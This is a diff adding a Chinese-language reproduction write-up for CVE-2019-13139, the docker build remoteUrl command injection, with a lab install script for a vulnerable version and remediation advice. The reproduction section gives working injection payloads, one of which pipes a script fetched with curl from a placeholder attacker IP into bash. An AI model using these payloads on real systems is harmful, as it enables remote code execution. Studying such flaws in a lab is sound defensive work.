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+# Docker build 漏洞导致命令执行 CVE-2019-13139
+
+## 漏洞描述
+
+使用 `docker build` 命令构建本地镜像时，支持使用远程 url 参数作为构建环境，并且这个远程构建环境可以是一个 git 仓库。
+
+在 Docker 18.9.4 之前版本中，`docker build` 过程中对 `remoteUrl` 解析存在缺陷，导致了 `remoteUrl` 中的部分字符串会被作为命令执行。
+
+参考链接：
+
+  - https://nvd.nist.gov/vuln/detail/CVE-2019-13139
+  - https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
+  - https://github.com/Metarget/metarget
+
+## 漏洞影响
+
+```
+Docker < 18.9.4
+```
+
+## 环境搭建
+
+ubuntu 18.04 使用以下脚本 `install_docker_18.09.03.sh` 安装 Docker 18.9.3：
+
+```
+#!/bin/bash
+set -e
+echo "[*] Removing old Docker versions (if any)..."
+sudo apt remove -y docker docker-engine docker.io containerd runc || true
+
+echo "[*] Removing incorrect Docker sources..."
+sudo rm -f /etc/apt/sources.list.d/docker.list || true
+sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
+
+echo "[*] Adding Tsinghua University Docker mirror GPG key..."
+wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
+
+echo "[*] Adding Tsinghua University Docker mirror repository..."
+echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
+  | sudo tee /etc/apt/sources.list.d/docker.list
+
+echo "[*] Updating package index..."
+sudo apt update
+
+echo "[*] Searching for Docker 18.09.3..."
+VERSION_STRING=$(apt-cache madison docker-ce | grep 18.09.3 | head -n1 | awk '{print $3}')
+if [ -z "$VERSION_STRING" ]; then
+  echo "[*] Docker 18.09.3 not found"
+  exit 1
+fi
+echo "[*] Found version: $VERSION_STRING"
+
+echo "[*] Installing Docker version $VERSION_STRING ..."
+sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io
+
+echo "[*] Locking version to prevent automatic updates..."
+sudo apt-mark hold docker-ce docker-ce-cli containerd.io
+
+echo "[*] Installation complete, current version:"
+docker --version
+```
+
+![](images/Docker%20build%20漏洞导致命令执行%20CVE-2019-13139/image-20250421090739097.png)
+
+## 漏洞复现
+
+执行相关利用命令，执行结果报错但不影响:
+
+```
+docker build "git@g.com/a/b#--upload-pack=touch 13139.txt;:"
+```
+
+查看命令是否执行成功：
+
+```
+ls | grep 13139
+------
+13139.txt
+```
+
+![](images/Docker%20build%20漏洞导致命令执行%20CVE-2019-13139/image-20250421090836057.png)
+
+下载远程 shell 文件并执行：
+
+```
+# port must be 80
+docker build "git@github.com/a/b#--upload-pack=curl -s your-ip/shell.sh|bash;#:"
+```
+
+![](images/Docker%20build%20漏洞导致命令执行%20CVE-2019-13139/image-20250421092642068.png)
+
+## 漏洞修复
+
+- 升级至最新版本 https://docs.docker.com/engine/release-notes/
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